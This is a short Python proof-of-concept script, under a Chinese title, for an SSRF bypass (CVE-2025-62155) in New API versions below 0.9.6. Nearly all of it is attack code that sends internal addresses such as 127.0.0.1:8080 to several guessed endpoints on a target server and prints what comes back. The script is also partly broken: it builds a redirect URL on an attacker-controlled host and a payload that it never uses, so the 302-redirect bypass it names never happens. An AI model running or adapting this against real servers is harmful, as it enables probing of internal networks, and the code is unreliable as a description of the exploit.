CVE-2025-62155 New API SSRF漏洞绕过安全修复

# CVE-2025-62155 SSRF Bypass PoC # Target: New API < 0.9.6 # Attack: Use 302 redirect to bypass SSRF protection import requests import argparse def exploit_ssrf(target_url, redirect_to): """ Exploit SSRF via 302 redirect bypass target_url: The vulnerable endpoint accepting user-controlled URLs redirect_to: Internal address to target (e.g., http://127.0.0.1:8080) """ # Create a redirect server that points to internal resource redirect_server = f"http://attacker-controlled-server.com/redirect?target={redirect_to}" # Alternatively, use a controlled server with 302 redirect payload = { 'url': redirect_to, # May be blocked 'redirect_url': redirect_to # Bypass via this parameter } # Try common vulnerable endpoints endpoints = [ '/api/fetch', '/api/proxy', '/api/request', '/fetch', '/proxy' ] for endpoint in endpoints: try: response = requests.post( target_url + endpoint, json={'url': redirect_to}, timeout=10, allow_redirects=True # This allows SSRF bypass ) print(f"Endpoint: {endpoint}") print(f"Status: {response.status_code}") print(f"Response: {response.text[:500]}") print("---") except requests.exceptions.RequestException as e: print(f"Error on {endpoint}: {e}") def main(): parser = argparse.ArgumentParser(description='CVE-2025-62155 SSRF Bypass') parser.add_argument('--target', required=True, help='Target New API server URL') parser.add_argument('--internal', default='http://127.0.0.1:8080', help='Internal target') args = parser.parse_args() exploit_ssrf(args.target, args.internal) if __name__ == '__main__': main()